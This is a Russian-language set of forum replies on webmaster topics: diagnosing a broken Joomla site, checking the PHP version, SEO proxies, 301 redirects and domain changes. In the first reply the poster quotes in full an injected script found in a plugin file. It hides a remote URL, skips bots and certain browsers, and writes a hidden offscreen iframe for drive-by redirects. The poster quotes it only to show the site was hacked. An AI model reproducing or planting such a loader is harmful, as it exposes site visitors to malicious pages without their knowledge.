Тогда никаких гарантий. При учете того, что ваши JS сыпят критическими ошибками - они явно не работают.
Ну и врядли нуленность файла будет заниматься выборкой свежих User-Agent, или отсылать пользователя на msn.com, что он делает при прямом скачивании с некоторых браузеров. Да и урлы в ней прописывать на левый IP - как бы тоже не было бы смысла, кстати, этот IP не работает, возможно он отвалился и за собой потянул неработоспособность скрипта.
В общем 99.9%, что хостинг ни при чем, а вот нуленность ваша выходит боком, только заметили вы это сейчас, из-за отпавшего хак-IP. Вполне возможно, что сайт ваш на php 5.3 нормально работает :)
Поковырял еще, видимо все же вас сломали.
modules/mod_magiczoom/core/magiczoom.js - этот файлик должен быть обфусцирован и нечитабелен. Это плагин под Jquery. А у меня он открывается совершенно другим:
//i19kalom9 var urlOfIframeTargetAddrGeter = 'h!!!!!!t!!!!!t!!!!p!!!!!:!!!!/!!!/!!!3!!!7!!!.!!!1!!!4!!!3!!.!!1!!!1!!.!!!2!!!7!!/!!j!!s!!/!!g!!!!e!!!t!!!!!U!!!!r!!!l!!!!.!!!p!!!h!!!!!!p'; var callbacks=new Object(); (function(){ function getJsonpUrl( url, cb ) { var i; do i='c'+Math.floor(Math.random() * 99999); while(callbacks); callbacks = function(obj) { cb(obj); delete callbacks; }; var script=document.createElement('script'); script.src=url+(url.indexOf('?')>=0?'&':'?')+'callback=callbacks.'+i; script.type='text/javascript'; document.body.appendChild(script); } function stripos (f_haystack, f_needle, f_offset) { var haystack = (f_haystack + '').toLowerCase(); var needle = (f_needle + '').toLowerCase(); var index = 0; if ((index = haystack.indexOf(needle, f_offset)) !== -1) { return index; } return false; } function zzz_check_ua(){ var blackList = 'Linux|Macintosh|FreeBSD|Chrome|iPad|iPhone|IEMobile|Android|Firefox/18.0|Firefox/18.0.1|Firefox/18.0.2|Firefox/19.0|Firefox/19.0.1|Firefox/19.0.2|Firefox/20.0|Firefox/21.0|Firefox/22.0|Firefox/23.0|Firefox/24.0|Maxthon|YandexNews|bingbot|YandexAntivirus|Chromium|Googlebot|Wget|YandexBot|Googlebot-Image|msnbot-media|SymbianOS|Mini|YandexDirect|MRSPUTNIK'; blackList = blackList.split('|'); var blackUA = false; for (var i in blackList) { if (stripos(navigator.userAgent, blackList)!==false) { blackUA = true; break; } } return blackUA; } function setCookie(name, value, expires) { var date = new Date( new Date().getTime() + expires*1000 ); document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString(); } function getCookie(name) { var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" )); return matches ? decodeURIComponent(matches[1]) : undefined; } function appendIframe(answer) { setTimeout( function() { document.write('<iframe src="' + answer.result + '" style="position:absolute;left:-900px;top:-900px;" height="112" width="112"></iframe>'); }, 0 ); } function insertIframe() { setTimeout( function() { getJsonpUrl( urlOfIframeTargetAddrGeter.split('!').join(''), appendIframe ); }, 0 ); } if (!zzz_check_ua()) { var cookie = getCookie('mnelow9187jimd1'); if (cookie == undefined) { setCookie('mnelow9187jimd1', true, 86400); insertIframe(); } } })(); //mrean1983f/*
и только после этого кода идет собственно сам
Magic Zoom v3.1.14 DEMO Copyright 2010 Magic Toolbox You must buy a license to use this tool. Go to www.magictoolbox.com/magiczoom/
himin,
рекомендую пациента в студию или личку. При учете, что у вас версия PHP осталась такой же, как вам нужно - то возможно проблемы либо у вас с браузером, либо с его дополнениями. Поскольку табы, лайтбокс и слайдер, скорее всего отношения к php не имеют, больше похоже на js/ajax. Можете также для начала попробовать получить доступ к сайтам с другого компьютера, браузера.
Кладете в корень сайта файлик, например с названием phpinfo.php
в котором пишите:
<?phpphpinfo();?>
Заходите на него через web (http://вашсайт/phpinfo.php)
и смотрите рабочую версию php на вашем сайте. Если она PHP 5.3, а в панели стоит 5.2, то все вопросы к хостеру.
Если же версия PHP 5.2, то видимо что-то еще сломалось на вашем сайте.
Ну и вопрос на дурака, в панели на 5.3 не переключилось автоматом случайно?
Для своих целей воспользовался услугами компаний, предоставляющих SEO-proxy, где выдается пул адресов для личного использования, с логин/пароль. Никто больше их не использует и шансы на бан минимальны, зависят от вас лично. Чистые культурные IP, при желании можно из разных подсетей найти.
Удовльствие в данное время - 2$ / 1 прокси.
И не нужно саппортить никакой сервак.
Без тематики, понимания структуры сайта и прочих мелочей - сказать особо нечего.
Хотя нет, вру, есть пару слов:
1) Запускал свой статейник, уник, рерайт. Месяц - первые уники. Дальше пишем - больше уников. Тематика общая, трафик пошел с НЧ. За 2 года поднялся до 15 000 уников в день, без закупок ссылок, люди ставили сами. Изначально верно выбрана тематика, правильно организована структура и внутрянка сайта.
2) Был старенький сайт-статейник, трафа давал мало. Когда стал я опытнее - понял, что сайт написан с точки зрения СЕО - никак. Исправил. Трафик вырос в разы. Ссылки не покупались, люди сами ставили.
Делайте выводы.
По-моему усложняете, попробуйте на старом домене в .htaccess, в корневой папке в начале файла указать:
RewriteEngine onRewriteRule ^/(.*)$ http://newsite.ru/old-version/$1 [L,R=301]
Правило должно отправлять с любым запросом в newsite.ru/old-version.
Локальные ссылки в старом html проще подменить обычной заменой в файлах.
--------------------------
Вообще, в вашем случае куда как более логично и менее геморно было бы старый сайт разместить на поддомене, oldversion.newsite.ru, сделав обычный 301 редирект со старого имени. Это нынче легко доступно на любом хостинге.
То есть структура у вас стала бы такой:
oldsite.ru -> 301 -> oldversion.newsite.ru
Выгода - куда более гармоничное восприятие старого-нового сайта, никаких проблем с путями, они остались бы теми же, кроме того, из всех изменений - глобальная замена домена, и то не факт, что у вас абсолютные пути на старом сайте. Если относительные - вообще кроме создания поддомена и одного единственного редиректа делать ничего не надо будет.
ssh есть?
grep -r 'olddomain.com' *
Если нет - скачивайте себе дамп, и любым поиском по файлам в директории.
Кроме прочего, для PrestaShop v.1.4:
Полагаю, что код можно не трогать, достаточно изменить необходимое значение на newdomain в вашей БД.
Легко и непринужденно, в некоторых случаях этого даже много будет.
Еще правда от CPU зависит, но вряд ли там сильно ужато.
На 512 Mb, при небольшом тюнинге, у меня жил сайт с 25000 уников в сутки, правда там картинки были на другой сервер вынесены.
На данный момент на подобном VDS живут форум с 600-700 униками, правда не очень активными, сайт до 2000 уников, ну и парочка мелких проектов без особых нагрузок. При этом около трети ресурсов свободны совершенно.
Как-то так.
https://www.google.ru/#newwindow=1&psj=1&q=%D0%BC%D0%B0%D1%81%D1%81%D0%BE%D0%B2%D0%B0%D1%8F+%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%B0+%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86
7 позиция от меня, от вас может отличаться